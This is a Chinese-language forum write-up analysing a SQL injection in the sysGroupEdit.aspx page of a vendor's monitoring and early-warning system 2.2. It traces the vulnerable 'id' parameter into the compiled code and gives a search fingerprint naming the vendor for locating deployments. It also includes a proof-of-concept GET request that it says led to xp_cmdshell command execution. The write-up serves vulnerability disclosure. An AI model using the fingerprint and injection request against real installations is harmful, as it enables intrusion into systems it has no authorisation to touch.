奇安信攻防社区-某监测预警系统2.2 SQL注入漏洞分析

某监测预警系统2.2 SQL注入漏洞分析

一、漏洞简介
======

某监测预警系统2.2 SQL注入漏洞分析

二、影响版本
======

某监测预警系统页面无版本号，属于较中版本

三、漏洞原理分析
========

首先可以看到是预编译的文件--代码--/Web/SysManage/sysGroupEdit.aspx

![1752138231418.jpg](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-3ca79e992c801eb643b9d0bad0808b7e8aa83ba7.jpg)

然后找到预编译的文件位置`\bin\sysgroupedit.aspx.aa26f4db.compiled`，可以看到是`ASP.web_sysmanage_sysgroupedit_aspx`这个类

```php
\bin\sysgroupedit.aspx.aa26f4db.compiled
```

```php
<?xml version="1.0" encoding="utf-8"?>
<preserve resultType="3" virtualPath="/CHCWeb.WebUI/Web/SysManage/sysGroupEdit.aspx" hash="82c924aa5" filehash="887f2d931cb491f3" flags="110000" assembly="CHC.MASV21" type="ASP.web_sysmanage_sysgroupedit_aspx">
  <filedeps>
    <filedep name="/CHCWeb.WebUI/Web/SysManage/sysGroupEdit.aspx" />
    <filedep name="/CHCWeb.WebUI/Web/SysManage/sysGroupEdit.aspx.cs" />
  </filedeps>
</preserve>
```

去到bin目录下的`dll`中的`Admin_sysGroupEdit`可以看到此处获取`id`参数，执行sql，导致sql注入

```php
Admin_sysGroupEdit
```

![1752138327928.jpg](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-4e4d837b46c413e782b7becde43fd4041e799808.jpg)

四、环境搭建（闭源系统可提供网络测绘语法和截图）
========================

指纹--`闭源系统`
----------

```php
body="上海华测导航技术股份有限公司"
```

![1752138358881.jpg](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-7c0afa887c3454804516417fb8fbdfa96f7dbc74.jpg)

五、漏洞复现
======

### 路由

```php
/Web/SysManage/sysGroupEdit.aspx
```

sql注入--xpcmdshell命令执行成功

```php
GET /Web/SysManage/sysGroupEdit.aspx?id=1'-- HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=mdeulqoefqlqhjhb05drczo3
Connection: close

```

![1752138384295.jpg](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-349b726cdc0ad168df9855ca580560a59fc04dfe.jpg)

六、总结
====

修复某监测预警系统2.2 SQL注入

发表于 2025-07-22 18:21:29
阅读 ( 230 )
分类：Web应用

某监测预警系统2.2 SQL注入漏洞分析

0 条评论